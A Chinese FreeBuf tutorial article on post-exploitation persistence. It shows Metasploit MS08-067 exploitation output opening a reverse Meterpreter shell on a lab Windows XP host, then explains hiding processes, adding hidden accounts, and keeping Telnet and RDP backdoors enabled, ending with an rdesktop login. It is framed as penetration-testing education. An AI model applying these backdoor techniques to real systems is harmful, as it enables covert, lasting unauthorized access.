當前位置:
首頁 > 最新 > 來自後方世界的隱匿威脅:後門與持久代理(一)

來自後方世界的隱匿威脅:後門與持久代理(一)

*本文原創作者:2cat,屬於FreeBuf原創獎勵計劃,禁止轉載。

幹了十幾年安全工作,發現一些同行只是把簡單的工具掃描和滲透測試當成了全部工作,拿到需要的數據及測試結果既為完成工作。可各位兄弟,咱捫心自問,這樣的安全測試能叫真的安全嗎?所拿到的結果真的就是最終結果嗎?下面,我想根據自己這些年的經驗分享一下在職場中個人理解的滲透測試。

以往,我們滲透的主要目的是測試目標網路環境是否安全,是否存在哪些可見與不可見漏洞,然後將它們記錄下來填充到安全報告中向客戶進行展示。

其實我個人早期時候也有過同類的想法,隨著從業時間增多,以及接觸各式各樣的案例之後開始明白,滲透測試主要側重於發現在網路中存的安全隱患,並不能及時發現已經被入侵的主機系統的安全問題。

當我們開始做滲透測試工作時,此時的我們正處在一個「攻擊者」身份,那麼我們就要站在攻擊者身份角度上來看待所面對的問題。

如果被測試目標已被我們所攻破,並且獲得了想要的數據,那麼後面又該做些什麼呢?

就這樣悄悄地清掃痕迹跑掉?事實並非如此,真正的攻擊者會給主機留下後門,確保他們隨時隨地的能夠在目標主機中隨意出入且不被發現。

當然,為了不影響整體的連接控制及系統運行速度,攻擊者會採用比較合理的方式來保持與目標主機之間的持久交互通信,而這種交互需要確保足夠長期不易被其它維護人員所發現。我們一般成這種持久交互的工具或是名詞術語為:後門(BackDoor)或惡意軟體(RootKit)。

現在比較主流的自動化惡意軟體和人為攻擊概念使傳統標籤的定義變得模糊。後續我會著重分享幾類經典的後門持久代理,讓兄弟們對後門的各種技術有更多的了解和感悟。

下面,我們以ms08_067漏洞為例來分享演示,對一台裝有Windows XP或windows 2k3系統的主機進行滲透測試。

執行代碼:

msf exploit(ms08_067_netapi) > exploit

[*] Started reverse TCP handler on 192.168.25.132:4444

[*] 192.168.25.133:445 - Automatically detecting the target…

[*] 192.168.25.133:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English

[*] 192.168.25.133:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)

[*] 192.168.25.133:445 - Attempting to trigger the vulnerability…

[*] Sending stage (957487 bytes) to 192.168.25.133

[*] Meterpreter session 1 opened (192.168.25.132:4444 -> 192.168.25.133:1038) at 2017-07-25 05:41:46 -0800

下圖使用execute創建一個交互命令,-H隱藏的進程

通過命令,我們創建一個具有隱藏屬性的身份進入到系統當中去。

很快,我們可以在系統進程中找到對應的位置(PID1444),正常情況下,日常使用人員很能發現隱藏cmd進程,目的是不暴露我們身份。

執行代碼:

當創建新用戶完成後,我們需要退出Windows命令Shell。此時需要開始Telnet服務,在提示符後執行run命令:

這時我們會看到顯示的腳本內容表示,在被入侵系統當中已經建立了一個持久的Telnet服務。

為了可以隨時訪問它,我們需要用Telnet命令連接目標主機的IP地址,輸入此前建立好的用戶名和密碼。

如果建立的這個持久Telnet不被目標所發現的話,就可以一直持續下去。需要說明的是,Telnet通常容易被檢測到(因為以明文形式傳送),並且主要使用命令行模式操作,所以較為複雜。

測試後我們發現:Telnet服務可以正常登錄和訪問目標客戶端,說明本次滲透測試並建立telnet後門的安全測試成功。

接下來,我再分享一個採用GUI方式來訪問被入侵系統的應用程序,通過它啟動遠程桌面協議RDP。

首先,我們需要確認是否已經擁有管理員許可權和操作系統的版本,那麼繼續以Windows XP為例,使用meterpreter拿到目標系統交互命令的Shell後,輸入reg命令來修改註冊表信息。

為了確保我們所使用的RDP協議能夠順利通過目標防火牆,如果不能正常訪問RDP還需要通過一些命令來增加主機安全規則。

通過上圖,我們發現系統中遠程桌面RDP服務並未開啟,此時需要我們運行run命令手動來開啟rdp該服務。

為了確保RDP不會再被攻擊目標重啟後還能處於開啟狀態,就需要通過sc命令對他進行一些配置。

在確保RDP保持長久開啟狀態後,我們為了配合後續操作,要創建一個隱藏的賬戶,同時對註冊表方面也要進行必要的調整來保持它的持久性。

執行代碼如下:

此時我們該做的工作基本完成,剩下的就是安全測試階段了。

使用rdesktop程序連接到被入侵的系統遠程桌面。

root@2cats:~# rdesktop -a 16 -u admin -p 123456 192.168.25.133:3389

我們在安全測試過程中對桌面的解析度、用戶名、密碼、伺服器地址和埠進行相應調整,當然,大家也可以通過配置註冊表來修改遠程桌面的默認埠操作。

如上圖所示,證明我們的安全測試成功了。

今天就到這裡,將兩種後門長久連接方式分享給大家,希望對新入行的朋友能夠有所幫助,安全滲透測試技術是一方面,其次思路也很重要。

*本文原創作者:2cat,屬於FreeBuf原創獎勵計劃,禁止轉載。


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 FreeBuf 的精彩文章:

黑帽SEO剖析之工具篇
反取證技術:內核模式下的進程隱蔽
如果GDPR實施的話Equifax的處境會怎麼樣?
混淆漏洞CVE-2017-0213技術分析
Discuz!任意文件刪除漏洞重現及分析

TAG:FreeBuf |